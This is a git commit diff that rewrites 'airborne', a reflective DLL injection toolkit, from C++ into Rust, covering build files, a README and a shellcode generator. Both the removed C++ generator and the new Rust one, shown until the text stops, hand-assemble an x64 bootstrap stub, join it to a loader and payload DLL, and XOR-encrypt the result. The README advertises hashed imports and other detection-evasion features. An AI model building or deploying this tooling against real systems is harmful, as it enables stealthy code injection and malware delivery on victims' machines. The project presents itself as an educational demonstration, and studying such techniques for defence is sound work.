tested builds w/o loader-level obfuscation

This commit is contained in:
17ms 2024-02-11 22:52:08 +02:00
parent 196b93c9bb
commit 08a32b0816
33 changed files with 1834 additions and 1120 deletions

2
.cargo/config Normal file
View File

@ -0,0 +1,2 @@
[build]
target = "x86_64-pc-windows-gnu"

62
.gitignore vendored
View File

@ -1,55 +1,17 @@
# Prerequisites # Generated by Cargo
*.d # will have compiled files and executables
debug/
target/
# Object files # Remove Cargo.lock from gitignore if creating an executable, leave it for libraries
*.o # More information here https://doc.rust-lang.org/cargo/guide/cargo-toml-vs-cargo-lock.html
*.ko # Cargo.lock
*.obj
*.elf
# Linker output # These are backup files generated by rustfmt
*.ilk **/*.rs.bk
*.map
*.exp
# Precompiled Headers # MSVC Windows builds of rustc generate these, which store debugging information
*.gch
*.pch
# Libraries
*.lib
*.a
*.la
*.lo
# Shared objects (inc. Windows DLLs)
*.dll
*.so
*.so.*
*.dylib
# Executables
*.exe
*.out
*.app
*.i*86
*.x86_64
*.hex
# Debug files
*.dSYM/
*.su
*.idb
*.pdb *.pdb
# Kernel Module Compile Results # Local executables/binaries
*.mod* *.exe
*.cmd
.tmp_versions/
modules.order
Module.symvers
Mkfile.old
dkms.conf
# CMAke generated makefiles
build/

View File

@ -1,61 +0,0 @@
cmake_minimum_required(VERSION 3.11)
project(
airborne
VERSION 0.1.0
DESCRIPTION "Reflective DLL injection demonstration"
LANGUAGES CXX
)
set(CMAKE_CXX_STANDARD 17)
if(NOT CMAKE_SYSTEM_NAME MATCHES Windows)
message(FATAL_ERROR "Use a cross compilation suitable toolchain with CMAKE_SYSTEM_NAME set to Windows")
endif()
# Build as Release by default
if(NOT CMAKE_BUILD_TYPE)
set(CMAKE_BUILD_TYPE Release)
endif()
include(CheckIPOSupported)
check_ipo_supported(RESULT lto_supported OUTPUT error)
# Enable LTO if supported
if(lto_supported)
set(CMAKE_INTERPROCEDURAL_OPTIMIZATION TRUE)
else()
message(WARNING "LTO is not supported: ${error}")
endif()
if(NOT MSVC)
add_compile_options("-Wall" "-Wextra" "-Os")
set(CMAKE_EXE_LINKED_FLAGS "${CMAKE_EXE_LINKER_FLAGS} -s")
else()
add_compile_options("/W4" "/WX" "/O1" "/GL")
set(CMAKE_EXE_LINKER_FLAGS "${CMAKE_EXE_LINKER_FLAGS} /INCREMENTAL:NO /OPT:REF /OPT:ICF /PDBSTRIPPED")
set(CMAKE_SHARED_LINKER_FLAGS "${CMAKE_SHARED_LINKER_FLAGS} /INCREMENTAL:NO /OPT:REF /OPT:ICF /PDBSTRIPPED")
endif()
# *) Shared modules
add_library(shared STATIC shared/crypto.cpp shared/crypto.hpp shared/futils.cpp shared/futils.hpp)
# *) Reflective loader (DLL)
add_library(loader SHARED reflective_loader/loader.cpp reflective_loader/loader.hpp)
target_link_libraries(loader PRIVATE shared)
# *) Payload (DLL)
add_library(payload SHARED payload/payload.cpp)
# *) Shellcode generator (EXE)
add_executable(generator generator/generator.cpp generator/generator.hpp)
target_link_libraries(generator PRIVATE shared)
# *) Injector (EXE)
add_executable(injector injector/injector.cpp)
target_link_libraries(injector PRIVATE shared)
if(NOT MSVC)
foreach(target loader payload generator injector)
add_custom_command(TARGET ${target} POST_BUILD COMMAND ${CMAKE_STRIP} $<TARGET_FILE:${target}>) # Strip binaries
endforeach()
endif()

326
Cargo.lock generated Normal file
View File

@ -0,0 +1,326 @@
# This file is automatically @generated by Cargo.
# It is not intended for manual editing.
version = 3
[[package]]
name = "airborne-generator"
version = "0.1.0"
dependencies = [
"airborne-utils",
"clap",
"rand",
"windows-sys",
]
[[package]]
name = "airborne-injector"
version = "0.1.0"
dependencies = [
"airborne-utils",
"lexopt",
"windows-sys",
]
[[package]]
name = "airborne-payload"
version = "0.1.0"
dependencies = [
"windows-sys",
]
[[package]]
name = "airborne-reflective_loader"
version = "0.1.0"
dependencies = [
"airborne-utils",
"rand_core",
"windows-sys",
]
[[package]]
name = "airborne-utils"
version = "0.1.0"
[[package]]
name = "anstream"
version = "0.6.11"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "6e2e1ebcb11de5c03c67de28a7df593d32191b44939c482e97702baaaa6ab6a5"
dependencies = [
"anstyle",
"anstyle-parse",
"anstyle-query",
"anstyle-wincon",
"colorchoice",
"utf8parse",
]
[[package]]
name = "anstyle"
version = "1.0.6"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8901269c6307e8d93993578286ac0edf7f195079ffff5ebdeea6a59ffb7e36bc"
[[package]]
name = "anstyle-parse"
version = "0.2.3"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "c75ac65da39e5fe5ab759307499ddad880d724eed2f6ce5b5e8a26f4f387928c"
dependencies = [
"utf8parse",
]
[[package]]
name = "anstyle-query"
version = "1.0.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e28923312444cdd728e4738b3f9c9cac739500909bb3d3c94b43551b16517648"
dependencies = [
"windows-sys",
]
[[package]]
name = "anstyle-wincon"
version = "3.0.2"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1cd54b81ec8d6180e24654d0b371ad22fc3dd083b6ff8ba325b72e00c87660a7"
dependencies = [
"anstyle",
"windows-sys",
]
[[package]]
name = "cfg-if"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "baf1de4339761588bc0619e3cbc0120ee582ebb74b53b4efbf79117bd2da40fd"
[[package]]
name = "clap"
version = "4.4.18"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1e578d6ec4194633722ccf9544794b71b1385c3c027efe0c55db226fc880865c"
dependencies = [
"clap_builder",
"clap_derive",
]
[[package]]
name = "clap_builder"
version = "4.4.18"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "4df4df40ec50c46000231c914968278b1eb05098cf8f1b3a518a95030e71d1c7"
dependencies = [
"anstream",
"anstyle",
"clap_lex",
"strsim",
]
[[package]]
name = "clap_derive"
version = "4.4.7"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cf9804afaaf59a91e75b022a30fb7229a7901f60c755489cc61c9b423b836442"
dependencies = [
"heck",
"proc-macro2",
"quote",
"syn",
]
[[package]]
name = "clap_lex"
version = "0.6.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "702fc72eb24e5a1e48ce58027a675bc24edd52096d5397d4aea7c6dd9eca0bd1"
[[package]]
name = "colorchoice"
version = "1.0.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "acbf1af155f9b9ef647e42cdc158db4b64a1b61f743629225fde6f3e0be2a7c7"
[[package]]
name = "getrandom"
version = "0.2.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "190092ea657667030ac6a35e305e62fc4dd69fd98ac98631e5d3a2b1575a12b5"
dependencies = [
"cfg-if",
"libc",
"wasi",
]
[[package]]
name = "heck"
version = "0.4.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "95505c38b4572b2d910cecb0281560f54b440a19336cbbcb27bf6ce6adc6f5a8"
[[package]]
name = "lexopt"
version = "0.3.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "baff4b617f7df3d896f97fe922b64817f6cd9a756bb81d40f8883f2f66dcb401"
[[package]]
name = "libc"
version = "0.2.152"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "13e3bf6590cbc649f4d1a3eefc9d5d6eb746f5200ffb04e5e142700b8faa56e7"
[[package]]
name = "ppv-lite86"
version = "0.2.17"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "5b40af805b3121feab8a3c29f04d8ad262fa8e0561883e7653e024ae4479e6de"
[[package]]
name = "proc-macro2"
version = "1.0.78"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e2422ad645d89c99f8f3e6b88a9fdeca7fabeac836b1002371c4367c8f984aae"
dependencies = [
"unicode-ident",
]
[[package]]
name = "quote"
version = "1.0.35"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "291ec9ab5efd934aaf503a6466c5d5251535d108ee747472c3977cc5acc868ef"
dependencies = [
"proc-macro2",
]
[[package]]
name = "rand"
version = "0.8.5"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "34af8d1a0e25924bc5b7c43c079c942339d8f0a8b57c39049bef581b46327404"
dependencies = [
"libc",
"rand_chacha",
"rand_core",
]
[[package]]
name = "rand_chacha"
version = "0.3.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "e6c10a63a0fa32252be49d21e7709d4d4baf8d231c2dbce1eaa8141b9b127d88"
dependencies = [
"ppv-lite86",
"rand_core",
]
[[package]]
name = "rand_core"
version = "0.6.4"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ec0be4795e2f6a28069bec0b5ff3e2ac9bafc99e6a9a7dc3547996c5c816922c"
dependencies = [
"getrandom",
]
[[package]]
name = "strsim"
version = "0.10.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "73473c0e59e6d5812c5dfe2a064a6444949f089e20eec9a2e5506596494e4623"
[[package]]
name = "syn"
version = "2.0.48"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "0f3531638e407dfc0814761abb7c00a5b54992b849452a0646b7f65c9f770f3f"
dependencies = [
"proc-macro2",
"quote",
"unicode-ident",
]
[[package]]
name = "unicode-ident"
version = "1.0.12"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b"
[[package]]
name = "utf8parse"
version = "0.2.1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "711b9620af191e0cdc7468a8d14e709c3dcdb115b36f838e601583af800a370a"
[[package]]
name = "wasi"
version = "0.11.0+wasi-snapshot-preview1"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423"
[[package]]
name = "windows-sys"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d"
dependencies = [
"windows-targets",
]
[[package]]
name = "windows-targets"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd"
dependencies = [
"windows_aarch64_gnullvm",
"windows_aarch64_msvc",
"windows_i686_gnu",
"windows_i686_msvc",
"windows_x86_64_gnu",
"windows_x86_64_gnullvm",
"windows_x86_64_msvc",
]
[[package]]
name = "windows_aarch64_gnullvm"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea"
[[package]]
name = "windows_aarch64_msvc"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef"
[[package]]
name = "windows_i686_gnu"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313"
[[package]]
name = "windows_i686_msvc"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a"
[[package]]
name = "windows_x86_64_gnu"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd"
[[package]]
name = "windows_x86_64_gnullvm"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e"
[[package]]
name = "windows_x86_64_msvc"
version = "0.52.0"
source = "registry+https://github.com/rust-lang/crates.io-index"
checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04"

27
Cargo.toml Normal file
View File

@ -0,0 +1,27 @@
[workspace]
resolver = "2"
members = [
"injector",
"payload",
"generator",
"reflective_loader",
"utils"
]
[profile.release]
opt-level = "z" # Optimize for size, but also turn off loop vectorization.
lto = true # Enable Link Time Optimization
codegen-units = 1 # Reduce number of codegen units to increase optimizations.
panic = "abort" # Abort on panic
strip = true # Automatically strip symbols from the binary.
[profile.dev]
opt-level = "z" # Optimize for size, but also turn off loop vectorization.
lto = true # Enable Link Time Optimization
codegen-units = 1 # Reduce number of codegen units to increase optimizations.
panic = "abort" # Abort on panic
strip = true # Automatically strip symbols from the binary.
# More information about the profile attributes: https://doc.rust-lang.org/cargo/reference/profiles.html

View File

@ -1,6 +1,6 @@
MIT License MIT License
Copyright (c) 2023 17ms Copyright (c) 2024 17ms
Permission is hereby granted, free of charge, to any person obtaining a copy Permission is hereby granted, free of charge, to any person obtaining a copy
of this software and associated documentation files (the "Software"), to deal of this software and associated documentation files (the "Software"), to deal

View File

@ -1,4 +1,4 @@
# Shellcode reflective DLL injection in C++ # Shellcode reflective DLL injection in Rust
Reflective DLL injection demo for fun and education. In practical applications, there's significant scope for enhancing build sizes, obfuscation, and delivery logic. Reflective DLL injection demo for fun and education. In practical applications, there's significant scope for enhancing build sizes, obfuscation, and delivery logic.
@ -8,26 +8,31 @@ Reflective DLL injection demo for fun and education. In practical applications,
```shell ```shell
. .
├── build.sh # Build script (cmake & make)
├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data) ├── generator # Shellcode generator (ties together bootstrap, loader, payload, and user data)
├── injector # PoC injector ├── injector # PoC injector
├── payload # PoC payload (DllMain & PrintMessage(lpUserData)) ├── payload # PoC payload (DllMain and PrintMessage)
├── reflective_loader # sRDI implementation └── reflective_loader # sRDI implementation
├── shared # Common cryptographic & file modules
└── toolchains # Cross-compilation toolchains (linux & darwin)
``` ```
### Features ### Features
- Compact filesize (~14 kB)
- Hashed import names & indirect function calls - Hashed import names & indirect function calls
- Randomized export iteration & IAT patching - Randomized payload export iteration & IAT patching
- XOR encryption for shellcode (randomized key generated during shellcode generation) - XOR encryption for shellcode (shellcode generation specific keys)
Check out [Alcatraz](https://github.com/weak1337/Alcatraz/) for additional obfuscation for the shellcode/injector. Check out [Alcatraz](https://github.com/weak1337/Alcatraz/) for additional obfuscation for the shellcode/injector.
### Usage ### Usage
Compile the libraries and executables with the included `build.sh` shellscript (if cross-compiling). The following command compiles the DLLs and executables into `target`:
```shell
$ cargo build --release
```
1. Generate shellcode containing the loader and the payload
2. Inject the created shellcode into target
### Disclaimer ### Disclaimer

View File

@ -1,25 +0,0 @@
#!/usr/bin/env bash
CORES=$(nproc)
USED=$(($CORES / 2))
case $(uname -a) in
Linux*)
echo "[+] Using Linux toolchain"
TOOLCHAIN="linux-mingw-w64-x86_64.cmake"
;;
Darwin*)
echo "[+] Using Darwin toolchain"
TOOLCHAIN="darwin-mingw-w64-x86_64.cmake"
;;
esac
echo "[+] Running CMake with specified toolchain, outputting to build/"
if ! cmake -DCMAKE_TOOLCHAIN_FILE=toolchains/$TOOLCHAIN -B build
then
echo "[!] CMake failed, aborting build"
exit 1
fi
echo "[+] Running Make with $USED threads"
make -j$USED -C build

18
generator/Cargo.toml Normal file
View File

@ -0,0 +1,18 @@
[package]
name = "airborne-generator"
version = "0.1.0"
edition = "2021"
[dependencies]
clap = {version = "4.4.18", features = ["derive"] }
rand = "0.8.5"
airborne-utils = { path = "../utils" }
[dependencies.windows-sys]
version = "0.52.0"
features = [
"Win32_Foundation",
"Win32_System_SystemServices",
"Win32_System_Diagnostics_Debug",
"Win32_System_SystemInformation"
]

View File

@ -1,266 +0,0 @@
#include "generator.hpp"
#include <string>
#include <vector>
#include "../shared/crypto.hpp"
#include "../shared/futils.hpp"
int main(int argc, char **argv) {
uint8_t flag = false;
std::string loaderPath, payloadPath, funcName, funcParameter, outputPath;
const char *shortOptions = "l:p:n:a:o:fh";
static struct option longOptions[] = {
{"loader", required_argument, nullptr, 'l'},
{"payload", required_argument, nullptr, 'p'},
{"function", required_argument, nullptr, 'n'},
{"parameter", required_argument, nullptr, 'a'},
{"output", required_argument, nullptr, 'o'},
{"flag", no_argument, nullptr, 'f'},
{"help", no_argument, nullptr, 'h'},
};
if (argc < 9) {
PrintHelp(argv);
return 1;
}
while (1) {
const auto opt = getopt_long(argc, argv, shortOptions, longOptions, nullptr);
if (-1 == opt) {
break;
}
switch (opt) {
case 'l':
loaderPath = optarg;
break;
case 'p':
payloadPath = optarg;
break;
case 'n':
funcName = optarg;
break;
case 'a':
funcParameter = optarg;
break;
case 'o':
outputPath = optarg;
break;
case 'f':
flag = true;
break;
case 'h':
PrintHelp(argv);
return 0;
default:
PrintHelp(argv);
return 1;
}
}
std::cout << "[+] Loader path: " << loaderPath << std::endl;
std::cout << "[+] Payload path: " << payloadPath << std::endl;
std::cout << "[+] Output path: " << outputPath << std::endl;
auto loaderContents = ReadFromFile(loaderPath);
auto payloadContents = ReadFromFile(payloadPath);
// Compose the complete shellcode from loader, payload, and bootstrap
std::vector<BYTE> bootstrap;
DWORD funcParameterHash = CalculateHash(funcParameter);
/*
1.) Save the current location in memory for calculating offsets later
*/
// Call the next instruction (push next instruction address to stack)
bootstrap.push_back(0xe8);
bootstrap.push_back(0x00);
bootstrap.push_back(0x00);
bootstrap.push_back(0x00);
bootstrap.push_back(0x00);
// pop rcx -> Pop the value saved on the stack into rcx to caputre our current location in memory
bootstrap.push_back(0x59);
// mov r8, rcx -> Copy the value of rcx into r8 before starting to modify rcx
bootstrap.push_back(0x49);
bootstrap.push_back(0x89);
bootstrap.push_back(0xc8);
/*
2.) Align the stack and create shadow space
*/
// push rsi -> Save the original value
bootstrap.push_back(0x56);
// mov rsi, rsp -> Stores the current stack pointer in rsi for later
bootstrap.push_back(0x48);
bootstrap.push_back(0x89);
bootstrap.push_back(0xe6);
// and rsp, 0xfffffffffffffff0 -> Align the stack to 16 bytes
bootstrap.push_back(0x48);
bootstrap.push_back(0x83);
bootstrap.push_back(0xe4);
bootstrap.push_back(0xf0);
// sub rsp, 0x30 -> (48 bytes) Create shadow space on the stack (required for x64, minimum of 32 bytes required for rcx, rdx, r8, and r9)
bootstrap.push_back(0x48);
bootstrap.push_back(0x83);
bootstrap.push_back(0xec);
bootstrap.push_back(6 * 8); // 6 (args) * 8 (bytes)
/*
3.) Setup reflective loader parameters: Place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
*/
// mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) -> (32 bytes) Push in the shellcode base address as the 5th argument
bootstrap.push_back(0x48);
bootstrap.push_back(0x89);
bootstrap.push_back(0x4c);
bootstrap.push_back(0x24);
bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes)
// sub qword ptr [rsp + 0x20], 0x5 (shellcode base) -> Modify the 5th argument to point to the start of the real shellcode base address
bootstrap.push_back(0x48);
bootstrap.push_back(0x83);
bootstrap.push_back(0x6c);
bootstrap.push_back(0x24);
bootstrap.push_back(4 * 8); // 4 (args) * 8 (bytes)
bootstrap.push_back(5); // Minus 5 bytes (because call 0x00 is 5 bytes to get the real shellcode base address)
// mov dword ptr [rsp + 0x28], <flags> -> (40 bytes) Push in the flags as the 6th argument
bootstrap.push_back(0xc7);
bootstrap.push_back(0x44);
bootstrap.push_back(0x24);
bootstrap.push_back(5 * 8); // 5 (args) * 8 (bytes)
bootstrap.push_back(flag);
/*
4.) Setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
*/
// mov r9, <funcParameterSize> -> Copy the 4th parameter, the size of the function parameter, into r9
bootstrap.push_back(0x41);
bootstrap.push_back(0xb9);
auto funcParameterSize = static_cast<DWORD>(funcParameter.size());
bootstrap.push_back(static_cast<BYTE>(funcParameterSize));
// add r8, <funcParameterOffset> + <payloadSize> -> Copy the 3rd parameter, the offset of the function parameter, into r8 and add the payload size
bootstrap.push_back(0x49);
bootstrap.push_back(0x81);
bootstrap.push_back(0xc0);
auto funcParameterOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size() + payloadContents.size();
for (size_t i = 0; i < sizeof(funcParameterOffset); i++) {
bootstrap.push_back(static_cast<BYTE>(funcParameterOffset >> (i * 8) & 0xff));
}
// mov edx, <funcParameterHash> -> Copy the 2nd parameter, the hash of the function parameter, into edx
bootstrap.push_back(0xba);
for (size_t i = 0; i < sizeof(funcParameterHash); i++) {
bootstrap.push_back(static_cast<BYTE>(funcParameterHash >> (i * 8) & 0xff));
}
// add rcx, <payloadOffset> -> Copy the 1st parameter, the address of the payload, into rcx
bootstrap.push_back(0x48);
bootstrap.push_back(0x81);
bootstrap.push_back(0xc1);
auto payloadOffset = (BOOTSTRAP_LEN - 5) + loaderContents.size();
for (size_t i = 0; i < sizeof(payloadOffset); i++) {
bootstrap.push_back(static_cast<BYTE>(payloadOffset >> (i * 8) & 0xff));
}
/*
5.) Call the reflective loader
*/
// Call <reflectiveLoaderAddress> -> Call the reflective loader address
bootstrap.push_back(0xe8);
auto reflectiveLoaderAddress = (BOOTSTRAP_LEN - 5) + loaderContents.size();
for (size_t i = 0; i < sizeof(reflectiveLoaderAddress); i++) {
bootstrap.push_back(static_cast<BYTE>(reflectiveLoaderAddress >> (i * 8) & 0xff));
}
// Add padding
bootstrap.push_back(0x90);
bootstrap.push_back(0x90);
/*
6.) Restore the stack and return to the original location (caller)
*/
// mov rsp, rsi -> Restore the original stack pointer
bootstrap.push_back(0x48);
bootstrap.push_back(0x89);
bootstrap.push_back(0xf4);
// pop rsi -> Restore the original value
bootstrap.push_back(0x5e);
// ret -> Return to the original location
bootstrap.push_back(0xc3);
// Add padding
bootstrap.push_back(0x90);
bootstrap.push_back(0x90);
if (bootstrap.size() != BOOTSTRAP_LEN) {
std::cout << "[!] Bootstrap size mismatch: " << bootstrap.size() << " != " << BOOTSTRAP_LEN << std::endl;
return 1;
}
std::cout << "[+] Bootstrap size: " << bootstrap.size() << std::endl;
std::cout << "[+] Loader size: " << loaderContents.size() << std::endl;
std::cout << "[+] Payload size: " << payloadContents.size() << std::endl;
/*
Form the complete shellcode with the following structure:
- Bootstrap
- RDI shellcode
- Payload DLL bytes
- User data
*/
bootstrap.insert(bootstrap.end(), loaderContents.begin(), loaderContents.end());
bootstrap.insert(bootstrap.end(), payloadContents.begin(), payloadContents.end());
// XOR with a random content length key
std::cout << "[+] XOR'ing the shellcode..." << std::endl;
auto key = GenerateKey(bootstrap.size());
XorCipher(&bootstrap, key);
std::cout << "[+] Total XOR'd shellcode size: " << bootstrap.size() << std::endl;
WriteToFile(outputPath, bootstrap);
std::cout << "[+] Wrote the final shellcode to " << outputPath << std::endl;
auto keyPath = outputPath + ".key";
WriteToFile(keyPath, key);
std::cout << "[+] Wrote the XOR key to " << keyPath << std::endl;
return 0;
}
void PrintHelp(char **argv) {
std::cout << "\nUsage: " << argv[0] << " [ARGUMENTS] [OPTIONS]" << std::endl;
std::cout << "\nArguments (required):" << std::endl;
std::cout << "\t-l, --loader Path to loader file" << std::endl;
std::cout << "\t-p, --payload Path to payload file" << std::endl;
std::cout << "\t-n, --function Function name to call inside payload" << std::endl;
std::cout << "\t-a, --parameter Function parameter to pass to the called function" << std::endl;
std::cout << "\t-o, --output Path to output file" << std::endl;
std::cout << "\nOptions:" << std::endl;
std::cout << "\t-f, --flag Flag to run defined payload's defined function instead of DllMain" << std::endl;
std::cout << "\t-h, --help Print this help message\n"
<< std::endl;
}

View File

@ -1,10 +0,0 @@
#pragma once
#include <getopt.h>
#include <windows.h>
#include <iostream>
constexpr auto BOOTSTRAP_LEN = 85;
void PrintHelp(char **argv);

379
generator/src/main.rs Normal file
View File

@ -0,0 +1,379 @@
use std::{collections::BTreeMap, ffi::CStr, fs, path::PathBuf, slice::from_raw_parts};
use airborne_utils::calc_hash;
use clap::Parser;
use windows_sys::Win32::{
System::Diagnostics::Debug::IMAGE_NT_HEADERS64,
System::{
Diagnostics::Debug::{IMAGE_DIRECTORY_ENTRY_EXPORT, IMAGE_SECTION_HEADER},
SystemServices::{IMAGE_DOS_HEADER, IMAGE_DOS_SIGNATURE, IMAGE_EXPORT_DIRECTORY},
},
};
#[derive(Parser, Debug)]
#[command(version)]
struct Args {
/// Path to the sRDI loader DLL
#[arg(short, long = "loader")]
loader_path: PathBuf,
/// Path to the payload DLL
#[arg(short, long = "payload")]
payload_path: PathBuf,
/// Name of the function to call in the payload DLL
#[arg(short, long = "function")]
function_name: String,
/// Parameter to pass to the function
#[arg(short = 'n', long)]
parameter: String,
/// Path to the output file
#[arg(short, long = "output")]
output_path: PathBuf,
/// Flag to pass to the loader (by default DllMain is called)
#[arg(short, long, default_value_t = 0)]
flag: u32, // preferably set type as u32 here instead of casting it when generating bootstrap
}
// NOTE: must be updated accordingly if the loader name or the bootstrap code is modified
const LOADER_ENTRY_NAME: &str = "loader";
const BOOTSTRAP_TOTAL_LENGTH: u32 = 79;
fn main() {
let args = Args::parse();
// preserve the path from being dropped
let output_path = args.output_path.clone();
let loader_path_str = args.loader_path.to_str().unwrap();
let payload_path_str = args.payload_path.to_str().unwrap();
let output_path_str = args.output_path.to_str().unwrap();
println!("[+] reflective loader: {}", loader_path_str);
println!("[+] payload: {}", payload_path_str);
println!("[+] output: {}", output_path_str);
let mut loader_b = fs::read(args.loader_path).expect("failed to read sRDI DLL");
let mut payload_b = fs::read(args.payload_path).expect("failed to read payload DLL");
let function_hash = calc_hash(args.function_name.as_bytes());
let mut shellcode = gen_sc(
&mut loader_b,
&mut payload_b,
function_hash,
args.parameter,
args.flag,
);
println!("\n[+] xor'ing shellcode");
let key = gen_xor_key(shellcode.len());
airborne_utils::xor_cipher(&mut shellcode, &key);
let mut key_output_path = output_path.clone().into_os_string();
key_output_path.push(".key");
let key_output_path_str = key_output_path.to_str().unwrap();
println!("\n[+] writing shellcode to '{}'", output_path_str);
fs::write(output_path, shellcode).expect("failed to write shellcode to output file");
println!("[+] writing xor key to '{}'", key_output_path_str);
fs::write(key_output_path, key).expect("failed to write xor key to output file");
}
fn gen_sc(
loader_b: &mut Vec<u8>,
payload_b: &mut Vec<u8>,
function_hash: u32,
parameter: String,
flag: u32,
) -> Vec<u8> {
let loader_addr = export_ptr_by_name(loader_b.as_mut_ptr(), LOADER_ENTRY_NAME)
.expect("failed to get loader entry point");
let loader_offset = loader_addr as usize - loader_b.as_mut_ptr() as usize;
println!("[+] loader offset: {:#x}", loader_offset);
// 64-bit bootstrap source: https:// github.com/memN0ps/srdi-rs/blob/main/generate_shellcode
// TODO: clean up & fix 'call to push immediately after creation' compiler warning by
// calculating little-endian representations of variables (flag, parameter length & offset,
// function hash, payload offset, loader address) beforehand
let mut bootstrap: Vec<u8> = Vec::new();
/*
1.) save the current location in memory for calculating offsets later
*/
// call 0x00 (this will push the address of the next function to the stack)
bootstrap.push(0xe8);
bootstrap.push(0x00);
bootstrap.push(0x00);
bootstrap.push(0x00);
bootstrap.push(0x00);
// pop rcx - this will pop the value we saved on the stack into rcx to capture our current location in memory
bootstrap.push(0x59);
// mov r8, rcx - copy the value of rcx into r8 before we start modifying RCX
bootstrap.push(0x49);
bootstrap.push(0x89);
bootstrap.push(0xc8);
/*
2.) align the stack and create shadow space
*/
// push rsi - save original value
bootstrap.push(0x56);
// mov rsi, rsp - store our current stack pointer for later
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0xe6);
// and rsp, 0x0FFFFFFFFFFFFFFF0 - align the stack to 16 bytes
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0xe4);
bootstrap.push(0xf0);
// sub rsp, 0x30 (48 bytes) - create shadow space on the stack, which is required for x64. A minimum of 32 bytes for rcx, rdx, r8, r9. Then other params on stack
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0xec);
bootstrap.push(6 * 8); // 6 args that are 8 bytes each
/*
3.) setup reflective loader parameters: place the last 5th and 6th arguments on the stack (rcx, rdx, r8, and r9 are already on the stack as the first 4 arguments)
*/
// mov qword ptr [rsp + 0x20], rcx (shellcode base + 5 bytes) - (32 bytes) Push in arg 5
bootstrap.push(0x48);
bootstrap.push(0x89);
bootstrap.push(0x4C);
bootstrap.push(0x24);
bootstrap.push(4 * 8); // 5th arg
// sub qword ptr [rsp + 0x20], 0x5 (shellcode base) - modify the 5th arg to get the real shellcode base
bootstrap.push(0x48);
bootstrap.push(0x83);
bootstrap.push(0x6C);
bootstrap.push(0x24);
bootstrap.push(4 * 8); // 5th arg
bootstrap.push(5); // minus 5 bytes because call 0x00 is 5 bytes to get the allocate memory from VirtualAllocEx from injector
// mov dword ptr [rsp + 0x28], <flag> - (40 bytes) Push arg 6 just above shadow space
bootstrap.push(0xC7);
bootstrap.push(0x44);
bootstrap.push(0x24);
bootstrap.push(5 * 8); // 6th arg
bootstrap.append(&mut flag.to_le_bytes().to_vec().clone());
/*
4.) setup reflective loader parameters: 1st -> rcx, 2nd -> rdx, 3rd -> r8, 4th -> r9
*/
// mov r9, <parameter_length> - copy the 4th parameter, which is the length of the user data into r9
bootstrap.push(0x41);
bootstrap.push(0xb9);
let parameter_length = parameter.len() as u32; // This must u32 or it breaks assembly
bootstrap.append(&mut parameter_length.to_le_bytes().to_vec().clone());
// add r8, <parameter_offset> + <payload_length> - copy the 3rd parameter, which is address of the user function into r8 after calculation
bootstrap.push(0x49);
bootstrap.push(0x81);
bootstrap.push(0xc0); // minus 5 because of the call 0x00 instruction
let parameter_offset =
(BOOTSTRAP_TOTAL_LENGTH - 5) + loader_b.len() as u32 + payload_b.len() as u32;
